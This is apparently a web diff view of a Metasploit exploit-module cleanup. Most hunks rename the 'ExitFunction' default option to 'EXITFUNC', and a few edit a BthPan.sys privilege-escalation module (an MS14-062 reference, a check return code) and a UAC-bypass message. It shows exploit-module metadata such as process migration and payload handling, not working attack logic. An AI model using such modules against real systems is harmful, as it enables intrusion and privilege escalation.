'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'none'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => ['php'],
|
'Platform' => ['php'],
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "process",
|
'EXITFUNC' => 'thread',
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process',
|
'EXITFUNC' => 'thread',
|
||||||
'URIPATH' => "/shakeitoff.mp3"
|
'URIPATH' => "/shakeitoff.mp3"
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none",
|
'EXITFUNC' => 'thread',
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none",
|
'EXITFUNC' => 'thread',
|
||||||
'InitialAutoRunScript' => 'migrate -f',
|
'InitialAutoRunScript' => 'migrate -f',
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "process",
|
'EXITFUNC' => 'thread',
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "seh",
|
'EXITFUNC' => 'thread',
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "process",
|
'EXITFUNC' => 'thread',
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process',
|
'EXITFUNC' => 'thread',
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "seh"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'SaveRegisters' => [ 'ESP' ],
|
'SaveRegisters' => [ 'ESP' ],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "process",
|
'EXITFUNC' => 'thread',
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "process",
|
'EXITFUNC' => 'thread',
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "process",
|
'EXITFUNC' => 'thread',
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "seh"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none",
|
'EXITFUNC' => 'thread',
|
||||||
'DisablePayloadHandler' => 'false'
|
'DisablePayloadHandler' => 'false'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "process",
|
'EXITFUNC' => 'thread',
|
||||||
'PrependMigrate' => true
|
'PrependMigrate' => true
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process',
|
'EXITFUNC' => 'process'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'seh'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'seh',
|
'EXITFUNC' => 'thread',
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'process',
|
'EXITFUNC' => 'thread',
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "none"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => 'seh'
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "thread"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'ExitFunction' => "process"
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
|
'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
|
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
|
||||||
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
|
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
|
||||||
|
@ -53,6 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
[ 'MSB', 'MS14-062' ],
|
||||||
[ 'CVE', '2014-4971' ],
|
[ 'CVE', '2014-4971' ],
|
||||||
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
|
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
|
||||||
[ 'OSVDB', '109387' ]
|
[ 'OSVDB', '109387' ]
|
||||||
|
@ -136,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
|
|
||||||
return Exploit::CheckCode::Vulnerable
|
return Exploit::CheckCode::Detected
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
case get_uac_level
|
case get_uac_level
|
||||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||||
fail_with(Failure::NotVulnerable,
|
fail_with(Failure::NotVulnerable,
|
||||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
|
||||||
)
|
)
|
||||||
when UAC_DEFAULT
|
when UAC_DEFAULT
|
||||||
print_good 'UAC is set to Default'
|
print_good 'UAC is set to Default'
|
||||||
|
|
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||||
fail_with(Failure::NotVulnerable,
|
fail_with(Failure::NotVulnerable,
|
||||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
|
||||||
)
|
)
|
||||||
when UAC_DEFAULT
|
when UAC_DEFAULT
|
||||||
print_good('UAC is set to Default')
|
print_good('UAC is set to Default')
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue